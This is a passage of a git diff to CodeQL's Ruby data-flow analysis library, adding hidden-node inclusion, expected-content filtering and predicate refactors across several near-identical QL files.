+private class AccessPath extends TAccessPath {
   /** Gets the head of this access path, if any. */
   abstract TypedContent getHead();
 
@@ -3772,11 +3876,14 @@ abstract private class PathNodeImpl extends PathNode {
   abstract NodeEx getNodeEx();
 
   predicate isHidden() {
-    hiddenNode(this.getNodeEx().asNode()) and
-    not this.isSource() and
-    not this instanceof PathNodeSink
-    or
-    this.getNodeEx() instanceof TNodeImplicitRead
+    not this.getConfiguration().includeHiddenNodes() and
+    (
+      hiddenNode(this.getNodeEx().asNode()) and
+      not this.isSource() and
+      not this instanceof PathNodeSink
+      or
+      this.getNodeEx() instanceof TNodeImplicitRead
+    )
   }
 
   private string ppAp() {
@@ -4257,6 +4364,12 @@ private module Subpaths {
     )
   }
 
+  pragma[nomagic]
+  private predicate hasSuccessor(PathNode pred, PathNodeMid succ, NodeEx succNode) {
+    succ = pred.getASuccessor() and
+    succNode = succ.getNodeEx()
+  }
+
   /**
    * Holds if `(arg, par, ret, out)` forms a subpath-tuple, that is, flow through
    * a subpath between `par` and `ret` with the connecting edges `arg -> par` and
@@ -4264,15 +4377,13 @@ private module Subpaths {
    */
   predicate subpaths(PathNode arg, PathNodeImpl par, PathNodeImpl ret, PathNode out) {
     exists(ParamNodeEx p, NodeEx o, FlowState sout, AccessPath apout, PathNodeMid out0 |
-      pragma[only_bind_into](arg).getASuccessor() = par and
-      pragma[only_bind_into](arg).getASuccessor() = out0 and
-      subpaths03(arg, p, localStepToHidden*(ret), o, sout, apout) and
+      pragma[only_bind_into](arg).getASuccessor() = pragma[only_bind_into](out0) and
+      subpaths03(pragma[only_bind_into](arg), p, localStepToHidden*(ret), o, sout, apout) and
+      hasSuccessor(pragma[only_bind_into](arg), par, p) and
       not ret.isHidden() and
-      par.getNodeEx() = p and
-      out0.getNodeEx() = o and
-      out0.getState() = sout and
-      out0.getAp() = apout and
-      (out = out0 or out = out0.projectToSink())
+      pathNode(out0, o, sout, _, _, apout, _, _)
+    |
+      out = out0 or out = out0.projectToSink()
     )
   }
 
@@ -4609,6 +4720,10 @@ private module FlowExploration {
       exists(PartialPathNodeRev mid |
         revPartialPathStep(mid, node, state, sc1, sc2, sc3, ap, config) and
         not clearsContentEx(node, ap.getHead()) and
+        (
+          notExpectsContent(node) or
+          expectsContentEx(node, ap.getHead())
+        ) and
         not fullBarrier(node, config) and
         not stateBarrier(node, state, config) and
         distSink(node.getEnclosingCallable(), config) <= config.explorationLimit()
@@ -4625,6 +4740,10 @@ private module FlowExploration {
       not fullBarrier(node, config) and
       not stateBarrier(node, state, config) and
       not clearsContentEx(node, ap.getHead().getContent()) and
+      (
+        notExpectsContent(node) or
+        expectsContentEx(node, ap.getHead().getContent())
+      ) and
       if node.asNode() instanceof CastingNode
       then compatibleTypes(node.getDataFlowType(), ap.getType())
       else any()
diff --git a/ruby/ql/lib/codeql/ruby/dataflow/internal/DataFlowImpl2.qll b/ruby/ql/lib/codeql/ruby/dataflow/internal/DataFlowImpl2.qll
index f49d975ccf9..fb773ea89f8 100644
--- a/ruby/ql/lib/codeql/ruby/dataflow/internal/DataFlowImpl2.qll
+++ b/ruby/ql/lib/codeql/ruby/dataflow/internal/DataFlowImpl2.qll
@@ -170,6 +170,14 @@ abstract class Configuration extends string {
    */
   int explorationLimit() { none() }
 
+  /**
+   * Holds if hidden nodes should be included in the data flow graph.
+   *
+   * This feature should only be used for debugging or when the data flow graph
+   * is not visualized (for example in a `path-problem` query).
+   */
+  predicate includeHiddenNodes() { none() }
+
   /**
    * Holds if there is a partial data flow path from `source` to `node`. The
    * approximate distance between `node` and the closest source is `dist` and
@@ -498,23 +506,35 @@ private predicate readSet(NodeEx node1, ContentSet c, NodeEx node2, Configuratio
 }
 
 // inline to reduce fan-out via `getAReadContent`
-pragma[inline]
+bindingset[c]
 private predicate read(NodeEx node1, Content c, NodeEx node2, Configuration config) {
   exists(ContentSet cs |
     readSet(node1, cs, node2, config) and
-    c = cs.getAReadContent()
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
   )
 }
 
 // inline to reduce fan-out via `getAReadContent`
-pragma[inline]
+bindingset[c]
 private predicate clearsContentEx(NodeEx n, Content c) {
   exists(ContentSet cs |
     clearsContentCached(n.asNode(), cs) and
-    c = cs.getAReadContent()
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
   )
 }
 
+// inline to reduce fan-out via `getAReadContent`
+bindingset[c]
+private predicate expectsContentEx(NodeEx n, Content c) {
+  exists(ContentSet cs |
+    expectsContentCached(n.asNode(), cs) and
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
+  )
+}
+
+pragma[nomagic]
+private predicate notExpectsContent(NodeEx n) { not expectsContentCached(n.asNode(), _) }
+
 pragma[nomagic]
 private predicate store(
   NodeEx node1, TypedContent tc, NodeEx node2, DataFlowType contentType, Configuration config
@@ -793,7 +813,7 @@ private module Stage1 {
    * by `revFlow`.
    */
   pragma[nomagic]
-  private predicate revFlowIsReadAndStored(Content c, Configuration conf) {
+  predicate revFlowIsReadAndStored(Content c, Configuration conf) {
     revFlowConsCand(c, conf) and
     revFlowStore(c, _, _, conf)
   }
@@ -891,7 +911,7 @@ private module Stage1 {
 
   pragma[nomagic]
   predicate readStepCand(NodeEx n1, Content c, NodeEx n2, Configuration config) {
-    revFlowIsReadAndStored(pragma[only_bind_into](c), pragma[only_bind_into](config)) and
+    revFlowIsReadAndStored(c, pragma[only_bind_into](config)) and
     read(n1, c, n2, pragma[only_bind_into](config)) and
     revFlow(n2, pragma[only_bind_into](config))
   }
@@ -1181,11 +1201,26 @@ private module Stage2 {
 
   private predicate flowIntoCall = flowIntoCallNodeCand1/5;
 
+  pragma[nomagic]
+  private predicate expectsContentCand(NodeEx node, Configuration config) {
+    exists(Content c |
+      PrevStage::revFlow(node, pragma[only_bind_into](config)) and
+      PrevStage::revFlowIsReadAndStored(c, pragma[only_bind_into](config)) and
+      expectsContentEx(node, c)
+    )
+  }
+
   bindingset[node, state, ap, config]
   private predicate filter(NodeEx node, FlowState state, Ap ap, Configuration config) {
     PrevStage::revFlowState(state, pragma[only_bind_into](config)) and
     exists(ap) and
-    not stateBarrier(node, state, config)
+    not stateBarrier(node, state, config) and
+    (
+      notExpectsContent(node)
+      or
+      ap = true and
+      expectsContentCand(node, config)
+    )
   }
 
   bindingset[ap, contentType]
@@ -1646,10 +1681,24 @@ private module Stage2 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -1740,7 +1789,8 @@ private module LocalFlowBigStep {
   private class FlowCheckNode extends NodeEx {
     FlowCheckNode() {
       castNode(this.asNode()) or
-      clearsContentCached(this.asNode(), _)
+      clearsContentCached(this.asNode(), _) or
+      expectsContentCached(this.asNode(), _)
     }
   }
 
@@ -1979,6 +2029,16 @@ private module Stage3 {
     clearContent(node, ap.getHead().getContent(), config)
   }
 
+  pragma[nomagic]
+  private predicate expectsContentCand(NodeEx node, Ap ap, Configuration config) {
+    exists(Content c |
+      PrevStage::revFlow(node, pragma[only_bind_into](config)) and
+      PrevStage::readStepCand(_, c, _, pragma[only_bind_into](config)) and
+      expectsContentEx(node, c) and
+      c = ap.getHead().getContent()
+    )
+  }
+
   pragma[nomagic]
   private predicate castingNodeEx(NodeEx node) { node.asNode() instanceof CastingNode }
 
@@ -1987,7 +2047,12 @@ private module Stage3 {
     exists(state) and
     exists(config) and
     not clear(node, ap, config) and
-    if castingNodeEx(node) then compatibleTypes(node.getDataFlowType(), ap.getType()) else any()
+    (if castingNodeEx(node) then compatibleTypes(node.getDataFlowType(), ap.getType()) else any()) and
+    (
+      notExpectsContent(node)
+      or
+      expectsContentCand(node, ap, config)
+    )
   }
 
   bindingset[ap, contentType]
@@ -2452,10 +2517,24 @@ private module Stage3 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -3279,10 +3358,24 @@ private module Stage4 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -3351,17 +3444,28 @@ private Configuration unbindConf(Configuration conf) {
   exists(Configuration c | result = pragma[only_bind_into](c) and conf = pragma[only_bind_into](c))
 }
 
-private predicate nodeMayUseSummary(
-  NodeEx n, FlowState state, AccessPathApprox apa, Configuration config
+pragma[nomagic]
+private predicate nodeMayUseSummary0(
+  NodeEx n, DataFlowCallable c, FlowState state, AccessPathApprox apa, Configuration config
 ) {
-  exists(DataFlowCallable c, AccessPathApprox apa0 |
-    Stage4::parameterMayFlowThrough(_, c, apa, _) and
+  exists(AccessPathApprox apa0 |
+    Stage4::parameterMayFlowThrough(_, c, _, _) and
     Stage4::revFlow(n, state, true, _, apa0, config) and
     Stage4::fwdFlow(n, state, any(CallContextCall ccc), TAccessPathApproxSome(apa), apa0, config) and
     n.getEnclosingCallable() = c
   )
 }
 
+pragma[nomagic]
+private predicate nodeMayUseSummary(
+  NodeEx n, FlowState state, AccessPathApprox apa, Configuration config
+) {
+  exists(DataFlowCallable c |
+    Stage4::parameterMayFlowThrough(_, c, apa, config) and
+    nodeMayUseSummary0(n, c, state, apa, config)
+  )
+}
+
 private newtype TSummaryCtx =
   TSummaryCtxNone() or
   TSummaryCtxSome(ParamNodeEx p, FlowState state, AccessPath ap) {
@@ -3557,7 +3661,7 @@ private newtype TPathNode =
  * of dereference operations needed to get from the value in the node to the
  * tracked object. The final type indicates the type of the tracked object.
  */
-abstract private class AccessPath extends TAccessPath {
+private class AccessPath extends TAccessPath {
   /** Gets the head of this access path, if any. */
   abstract TypedContent getHead();
 
@@ -3772,11 +3876,14 @@ abstract private class PathNodeImpl extends PathNode {
   abstract NodeEx getNodeEx();
 
   predicate isHidden() {
-    hiddenNode(this.getNodeEx().asNode()) and
-    not this.isSource() and
-    not this instanceof PathNodeSink
-    or
-    this.getNodeEx() instanceof TNodeImplicitRead
+    not this.getConfiguration().includeHiddenNodes() and
+    (
+      hiddenNode(this.getNodeEx().asNode()) and
+      not this.isSource() and
+      not this instanceof PathNodeSink
+      or
+      this.getNodeEx() instanceof TNodeImplicitRead
+    )
   }
 
   private string ppAp() {
@@ -4257,6 +4364,12 @@ private module Subpaths {
     )
   }
 
+  pragma[nomagic]
+  private predicate hasSuccessor(PathNode pred, PathNodeMid succ, NodeEx succNode) {
+    succ = pred.getASuccessor() and
+    succNode = succ.getNodeEx()
+  }
+
   /**
    * Holds if `(arg, par, ret, out)` forms a subpath-tuple, that is, flow through
    * a subpath between `par` and `ret` with the connecting edges `arg -> par` and
@@ -4264,15 +4377,13 @@ private module Subpaths {
    */
   predicate subpaths(PathNode arg, PathNodeImpl par, PathNodeImpl ret, PathNode out) {
     exists(ParamNodeEx p, NodeEx o, FlowState sout, AccessPath apout, PathNodeMid out0 |
-      pragma[only_bind_into](arg).getASuccessor() = par and
-      pragma[only_bind_into](arg).getASuccessor() = out0 and
-      subpaths03(arg, p, localStepToHidden*(ret), o, sout, apout) and
+      pragma[only_bind_into](arg).getASuccessor() = pragma[only_bind_into](out0) and
+      subpaths03(pragma[only_bind_into](arg), p, localStepToHidden*(ret), o, sout, apout) and
+      hasSuccessor(pragma[only_bind_into](arg), par, p) and
       not ret.isHidden() and
-      par.getNodeEx() = p and
-      out0.getNodeEx() = o and
-      out0.getState() = sout and
-      out0.getAp() = apout and
-      (out = out0 or out = out0.projectToSink())
+      pathNode(out0, o, sout, _, _, apout, _, _)
+    |
+      out = out0 or out = out0.projectToSink()
     )
   }
 
@@ -4609,6 +4720,10 @@ private module FlowExploration {
       exists(PartialPathNodeRev mid |
         revPartialPathStep(mid, node, state, sc1, sc2, sc3, ap, config) and
         not clearsContentEx(node, ap.getHead()) and
+        (
+          notExpectsContent(node) or
+          expectsContentEx(node, ap.getHead())
+        ) and
         not fullBarrier(node, config) and
         not stateBarrier(node, state, config) and
         distSink(node.getEnclosingCallable(), config) <= config.explorationLimit()
@@ -4625,6 +4740,10 @@ private module FlowExploration {
       not fullBarrier(node, config) and
       not stateBarrier(node, state, config) and
       not clearsContentEx(node, ap.getHead().getContent()) and
+      (
+        notExpectsContent(node) or
+        expectsContentEx(node, ap.getHead().getContent())
+      ) and
       if node.asNode() instanceof CastingNode
       then compatibleTypes(node.getDataFlowType(), ap.getType())
       else any()
diff --git a/ruby/ql/lib/codeql/ruby/dataflow/internal/DataFlowImplCommon.qll b/ruby/ql/lib/codeql/ruby/dataflow/internal/DataFlowImplCommon.qll
index 100ffde2616..0079b259260 100644
--- a/ruby/ql/lib/codeql/ruby/dataflow/internal/DataFlowImplCommon.qll
+++ b/ruby/ql/lib/codeql/ruby/dataflow/internal/DataFlowImplCommon.qll
@@ -305,7 +305,7 @@ cached
 private module Cached {
   /**
    * If needed, call this predicate from `DataFlowImplSpecific.qll` in order to
-   * force a stage-dependency on the `DataFlowImplCommon.qll` stage and therby
+   * force a stage-dependency on the `DataFlowImplCommon.qll` stage and thereby
    * collapsing the two stages.
    */
   cached
@@ -328,6 +328,9 @@ private module Cached {
   cached
   predicate clearsContentCached(Node n, ContentSet c) { clearsContent(n, c) }
 
+  cached
+  predicate expectsContentCached(Node n, ContentSet c) { expectsContent(n, c) }
+
   cached
   predicate isUnreachableInCallCached(Node n, DataFlowCall call) { isUnreachableInCall(n, call) }
 
diff --git a/ruby/ql/lib/codeql/ruby/dataflow/internal/DataFlowImplForLibraries.qll b/ruby/ql/lib/codeql/ruby/dataflow/internal/DataFlowImplForLibraries.qll
index f49d975ccf9..fb773ea89f8 100644
--- a/ruby/ql/lib/codeql/ruby/dataflow/internal/DataFlowImplForLibraries.qll
+++ b/ruby/ql/lib/codeql/ruby/dataflow/internal/DataFlowImplForLibraries.qll
@@ -170,6 +170,14 @@ abstract class Configuration extends string {
    */
   int explorationLimit() { none() }
 
+  /**
+   * Holds if hidden nodes should be included in the data flow graph.
+   *
+   * This feature should only be used for debugging or when the data flow graph
+   * is not visualized (for example in a `path-problem` query).
+   */
+  predicate includeHiddenNodes() { none() }
+
   /**
    * Holds if there is a partial data flow path from `source` to `node`. The
    * approximate distance between `node` and the closest source is `dist` and
@@ -498,23 +506,35 @@ private predicate readSet(NodeEx node1, ContentSet c, NodeEx node2, Configuratio
 }
 
 // inline to reduce fan-out via `getAReadContent`
-pragma[inline]
+bindingset[c]
 private predicate read(NodeEx node1, Content c, NodeEx node2, Configuration config) {
   exists(ContentSet cs |
     readSet(node1, cs, node2, config) and
-    c = cs.getAReadContent()
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
   )
 }
 
 // inline to reduce fan-out via `getAReadContent`
-pragma[inline]
+bindingset[c]
 private predicate clearsContentEx(NodeEx n, Content c) {
   exists(ContentSet cs |
     clearsContentCached(n.asNode(), cs) and
-    c = cs.getAReadContent()
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
   )
 }
 
+// inline to reduce fan-out via `getAReadContent`
+bindingset[c]
+private predicate expectsContentEx(NodeEx n, Content c) {
+  exists(ContentSet cs |
+    expectsContentCached(n.asNode(), cs) and
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
+  )
+}
+
+pragma[nomagic]
+private predicate notExpectsContent(NodeEx n) { not expectsContentCached(n.asNode(), _) }
+
 pragma[nomagic]
 private predicate store(
   NodeEx node1, TypedContent tc, NodeEx node2, DataFlowType contentType, Configuration config
@@ -793,7 +813,7 @@ private module Stage1 {
    * by `revFlow`.
    */
   pragma[nomagic]
-  private predicate revFlowIsReadAndStored(Content c, Configuration conf) {
+  predicate revFlowIsReadAndStored(Content c, Configuration conf) {
     revFlowConsCand(c, conf) and
     revFlowStore(c, _, _, conf)
   }
@@ -891,7 +911,7 @@ private module Stage1 {
 
   pragma[nomagic]
   predicate readStepCand(NodeEx n1, Content c, NodeEx n2, Configuration config) {
-    revFlowIsReadAndStored(pragma[only_bind_into](c), pragma[only_bind_into](config)) and
+    revFlowIsReadAndStored(c, pragma[only_bind_into](config)) and
     read(n1, c, n2, pragma[only_bind_into](config)) and
     revFlow(n2, pragma[only_bind_into](config))
   }
@@ -1181,11 +1201,26 @@ private module Stage2 {
 
   private predicate flowIntoCall = flowIntoCallNodeCand1/5;
 
+  pragma[nomagic]
+  private predicate expectsContentCand(NodeEx node, Configuration config) {
+    exists(Content c |
+      PrevStage::revFlow(node, pragma[only_bind_into](config)) and
+      PrevStage::revFlowIsReadAndStored(c, pragma[only_bind_into](config)) and
+      expectsContentEx(node, c)
+    )
+  }
+
   bindingset[node, state, ap, config]
   private predicate filter(NodeEx node, FlowState state, Ap ap, Configuration config) {
     PrevStage::revFlowState(state, pragma[only_bind_into](config)) and
     exists(ap) and
-    not stateBarrier(node, state, config)
+    not stateBarrier(node, state, config) and
+    (
+      notExpectsContent(node)
+      or
+      ap = true and
+      expectsContentCand(node, config)
+    )
   }
 
   bindingset[ap, contentType]
@@ -1646,10 +1681,24 @@ private module Stage2 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -1740,7 +1789,8 @@ private module LocalFlowBigStep {
   private class FlowCheckNode extends NodeEx {
     FlowCheckNode() {
       castNode(this.asNode()) or
-      clearsContentCached(this.asNode(), _)
+      clearsContentCached(this.asNode(), _) or
+      expectsContentCached(this.asNode(), _)
     }
   }
 
@@ -1979,6 +2029,16 @@ private module Stage3 {
     clearContent(node, ap.getHead().getContent(), config)
   }
 
+  pragma[nomagic]
+  private predicate expectsContentCand(NodeEx node, Ap ap, Configuration config) {
+    exists(Content c |
+      PrevStage::revFlow(node, pragma[only_bind_into](config)) and
+      PrevStage::readStepCand(_, c, _, pragma[only_bind_into](config)) and
+      expectsContentEx(node, c) and
+      c = ap.getHead().getContent()
+    )
+  }
+
   pragma[nomagic]
   private predicate castingNodeEx(NodeEx node) { node.asNode() instanceof CastingNode }
 
@@ -1987,7 +2047,12 @@ private module Stage3 {
     exists(state) and
     exists(config) and
     not clear(node, ap, config) and
-    if castingNodeEx(node) then compatibleTypes(node.getDataFlowType(), ap.getType()) else any()
+    (if castingNodeEx(node) then compatibleTypes(node.getDataFlowType(), ap.getType()) else any()) and
+    (
+      notExpectsContent(node)
+      or
+      expectsContentCand(node, ap, config)
+    )
   }
 
   bindingset[ap, contentType]
@@ -2452,10 +2517,24 @@ private module Stage3 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -3279,10 +3358,24 @@ private module Stage4 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -3351,17 +3444,28 @@ private Configuration unbindConf(Configuration conf) {
   exists(Configuration c | result = pragma[only_bind_into](c) and conf = pragma[only_bind_into](c))
 }
 
-private predicate nodeMayUseSummary(
-  NodeEx n, FlowState state, AccessPathApprox apa, Configuration config
+pragma[nomagic]
+private predicate nodeMayUseSummary0(
+  NodeEx n, DataFlowCallable c, FlowState state, AccessPathApprox apa, Configuration config
 ) {
-  exists(DataFlowCallable c, AccessPathApprox apa0 |
-    Stage4::parameterMayFlowThrough(_, c, apa, _) and
+  exists(AccessPathApprox apa0 |
+    Stage4::parameterMayFlowThrough(_, c, _, _) and
     Stage4::revFlow(n, state, true, _, apa0, config) and
     Stage4::fwdFlow(n, state, any(CallContextCall ccc), TAccessPathApproxSome(apa), apa0, config) and
     n.getEnclosingCallable() = c
   )
 }
 
+pragma[nomagic]
+private predicate nodeMayUseSummary(
+  NodeEx n, FlowState state, AccessPathApprox apa, Configuration config
+) {
+  exists(DataFlowCallable c |
+    Stage4::parameterMayFlowThrough(_, c, apa, config) and
+    nodeMayUseSummary0(n, c, state, apa, config)
+  )
+}
+
 private newtype TSummaryCtx =
   TSummaryCtxNone() or
   TSummaryCtxSome(ParamNodeEx p, FlowState state, AccessPath ap) {
@@ -3557,7 +3661,7 @@ private newtype TPathNode =
  * of dereference operations needed to get from the value in the node to the
  * tracked object. The final type indicates the type of the tracked object.
  */
-abstract private class AccessPath extends TAccessPath {
+private class AccessPath extends TAccessPath {
   /** Gets the head of this access path, if any. */
   abstract TypedContent getHead();
 
@@ -3772,11 +3876,14 @@ abstract private class PathNodeImpl extends PathNode {
   abstract NodeEx getNodeEx();
 
   predicate isHidden() {
-    hiddenNode(this.getNodeEx().asNode()) and
-    not this.isSource() and
-    not this instanceof PathNodeSink
-    or
-    this.getNodeEx() instanceof TNodeImplicitRead
+    not this.getConfiguration().includeHiddenNodes() and
+    (
+      hiddenNode(this.getNodeEx().asNode()) and
+      not this.isSource() and
+      not this instanceof PathNodeSink
+      or
+      this.getNodeEx() instanceof TNodeImplicitRead
+    )
   }
 
   private string ppAp() {
@@ -4257,6 +4364,12 @@ private module Subpaths {
     )
   }
 
+  pragma[nomagic]
+  private predicate hasSuccessor(PathNode pred, PathNodeMid succ, NodeEx succNode) {
+    succ = pred.getASuccessor() and
+    succNode = succ.getNodeEx()
+  }
+
   /**
    * Holds if `(arg, par, ret, out)` forms a subpath-tuple, that is, flow through
    * a subpath between `par` and `ret` with the connecting edges `arg -> par` and
@@ -4264,15 +4377,13 @@ private module Subpaths {
    */
   predicate subpaths(PathNode arg, PathNodeImpl par, PathNodeImpl ret, PathNode out) {
     exists(ParamNodeEx p, NodeEx o, FlowState sout, AccessPath apout, PathNodeMid out0 |
-      pragma[only_bind_into](arg).getASuccessor() = par and
-      pragma[only_bind_into](arg).getASuccessor() = out0 and
-      subpaths03(arg, p, localStepToHidden*(ret), o, sout, apout) and
+      pragma[only_bind_into](arg).getASuccessor() = pragma[only_bind_into](out0) and
+      subpaths03(pragma[only_bind_into](arg), p, localStepToHidden*(ret), o, sout, apout) and
+      hasSuccessor(pragma[only_bind_into](arg), par, p) and
       not ret.isHidden() and
-      par.getNodeEx() = p and
-      out0.getNodeEx() = o and
-      out0.getState() = sout and
-      out0.getAp() = apout and
-      (out = out0 or out = out0.projectToSink())
+      pathNode(out0, o, sout, _, _, apout, _, _)
+    |
+      out = out0 or out = out0.projectToSink()
     )
   }
 
@@ -4609,6 +4720,10 @@ private module FlowExploration {
       exists(PartialPathNodeRev mid |
         revPartialPathStep(mid, node, state, sc1, sc2, sc3, ap, config) and
         not clearsContentEx(node, ap.getHead()) and
+        (
+          notExpectsContent(node) or
+          expectsContentEx(node, ap.getHead())
+        ) and
         not fullBarrier(node, config) and
         not stateBarrier(node, state, config) and
         distSink(node.getEnclosingCallable(), config) <= config.explorationLimit()
@@ -4625,6 +4740,10 @@ private module FlowExploration {
       not fullBarrier(node, config) and
       not stateBarrier(node, state, config) and
       not clearsContentEx(node, ap.getHead().getContent()) and
+      (
+        notExpectsContent(node) or
+        expectsContentEx(node, ap.getHead().getContent())
+      ) and
       if node.asNode() instanceof CastingNode
       then compatibleTypes(node.getDataFlowType(), ap.getType())
       else any()
diff --git a/ruby/ql/lib/codeql/ruby/dataflow/internal/DataFlowPrivate.qll b/ruby/ql/lib/codeql/ruby/dataflow/internal/DataFlowPrivate.qll
index d5b2f44c82f..7262a7e7694 100644
--- a/ruby/ql/lib/codeql/ruby/dataflow/internal/DataFlowPrivate.qll
+++ b/ruby/ql/lib/codeql/ruby/dataflow/internal/DataFlowPrivate.qll
@@ -199,9 +199,11 @@ private class Argument extends CfgNodes::ExprCfgNode {
 /** A collection of cached types and predicates to be evaluated in the same stage. */
 cached
 private module Cached {
+  private import TaintTrackingPrivate as TaintTrackingPrivate
+
   cached
   newtype TNode =
-    TExprNode(CfgNodes::ExprCfgNode n) or
+    TExprNode(CfgNodes::ExprCfgNode n) { TaintTrackingPrivate::forceCachingInSameStage() } or
     TReturningNode(CfgNodes::ReturningCfgNode n) or
     TSynthReturnNode(CfgScope scope, ReturnKind kind) {
       exists(ReturningNode ret |
@@ -252,7 +254,7 @@ private module Cached {
     nodeTo.(SynthReturnNode).getAnInput() = nodeFrom
     or
     LocalFlow::localSsaFlowStepUseUse(_, nodeFrom, nodeTo) and
-    not FlowSummaryImpl::Private::Steps::summaryClearsContentArg(nodeFrom, _)
+    not FlowSummaryImpl::Private::Steps::prohibitsUseUseFlow(nodeFrom)
     or
     FlowSummaryImpl::Private::Steps::summaryLocalStep(nodeFrom, nodeTo, true)
   }
@@ -270,7 +272,7 @@ private module Cached {
     or
     // Simple flow through library code is included in the exposed local
     // step relation, even though flow is technically inter-procedural
-    FlowSummaryImpl::Private::Steps::summaryThroughStep(nodeFrom, nodeTo, true)
+    FlowSummaryImpl::Private::Steps::summaryThroughStepValue(nodeFrom, nodeTo)
   }
 
   /** This is the local flow predicate that is used in type tracking. */
@@ -302,12 +304,12 @@ private module Cached {
     or
     n instanceof PostUpdateNodes::ExprPostUpdateNode
     or
-    // Expressions that can't be reached from another entry definition or expression.
+    // Nodes that can't be reached from another entry definition or expression.
     not localFlowStepTypeTracker+(any(Node n0 |
         n0 instanceof ExprNode
         or
         entrySsaDefinition(n0)
-      ), n.(ExprNode))
+      ), n)
     or
     // Ensure all entry SSA definitions are local sources -- for parameters, this
     // is needed by type tracking. Note that when the parameter has a default value,
@@ -528,12 +530,12 @@ private module ParameterNodes {
     override predicate isSourceParameterOf(Callable c, ParameterPosition pos) { none() }
 
     override predicate isParameterOf(DataFlowCallable c, ParameterPosition pos) {
-      sc = c and pos = pos_
+      sc = c.asLibraryCallable() and pos = pos_
     }
 
     override CfgScope getCfgScope() { none() }
 
-    override DataFlowCallable getEnclosingCallable() { result = sc }
+    override DataFlowCallable getEnclosingCallable() { result.asLibraryCallable() = sc }
 
     override EmptyLocation getLocationImpl() { any() }
 
@@ -552,7 +554,7 @@ class SummaryNode extends NodeImpl, TSummaryNode {
 
   override CfgScope getCfgScope() { none() }
 
-  override DataFlowCallable getEnclosingCallable() { result = c }
+  override DataFlowCallable getEnclosingCallable() { result.asLibraryCallable() = c }
 
   override EmptyLocation getLocationImpl() { any() }
 
